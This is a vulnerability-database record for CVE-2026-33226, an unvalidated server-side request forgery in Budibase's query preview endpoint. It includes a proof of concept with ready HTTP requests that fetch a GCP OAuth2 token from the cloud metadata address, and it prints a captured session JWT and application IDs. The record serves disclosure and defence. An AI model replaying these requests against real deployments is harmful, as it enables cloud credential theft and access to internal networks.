{"id":"CVE-2026-33226","aliases":["GHSA-4647-wpjq-hh7f"],"url":"https://o3.security/vulnerability/CVE-2026-33226","summary":"Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview","details":"### Summary\nThe REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.\n\n### Details\n\nThe vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:\n\n```\nfields.path  →  RestClient.read({ path })  →  node-fetch(path)\n```\n\nNo blocklist exists for:\n- Loopback (`127.0.0.1`, `::1`)\n- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)\n- Link-local / cloud metadata (`169.254.x.x`)\n- Internal Kubernetes DNS (`.svc.cluster.local`)\n\nThe `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and `fields.path` overrides it entirely.\n\n### PoC\n\n**Step 1 — Get session token**\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: budibase.dev.com\nContent-Type: application/json\n\n{\"username\": \"admin@example.com\", \"password\": \"password\"}\n```\nResponse sets `Cookie: budibase:auth=<JWT>`.\n\n**Step 2 — Get a REST datasourceId**\n```http\nGET /api/datasources HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\n```\nPick any `_id` where `\"source\": \"REST\"`.\n\nCaptured from this engagement:\n- Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs`\n- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`\n- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`\n\n**Step 3 — Send SSRF request**\n\nChange `fields.path` to any internal URL. Examples below.\n\n**3a. Cloud metadata — GCP OAuth2 token**\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\nContent-Type: application/json\n\n{\n  \"datasourceId\": \"datasource_49d5a1ed1c6149e48c4de0923e5b20c5\",\n  \"name\": \"ssrf\", \"parameters\": [], \"transformer\": \"return data\", \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\",\n    \"headers\": {\"Metadata-Flavor\": \"Google\"},\n    \"queryString\": \"\", \"requestBody\": \"\"\n  },\n  \"schema\": {}\n}\n```\nResponse:\n```json\n{\"access_token\": \"ya29.d.c0AZ4bNpYDUK...\", \"expires_in\": 3598, \"token_type\": \"Bearer\"}\n```\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAny authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:\n\n- **Cloud credential theft** — GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.\n- **Internal database access** — CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data.\n- **Internal service enumeration** — MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable.\n- **Kubernetes cluster access** — K8s API server reachable at `kubernetes.default.svc` using the pod's mounted service account token.\n\nThe vulnerability affects **all deployment environments** (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.\n\n\n\n\nDetected by:\nAbdulrahman Albatel\nAbdullah Alrasheed","published":"2026-03-20T23:04:24.424Z","modified":"2026-08-12T03:51:39.068003648Z","cvss":{"score":8.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"budibase","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33226.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33226"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:39.068003648Z"}}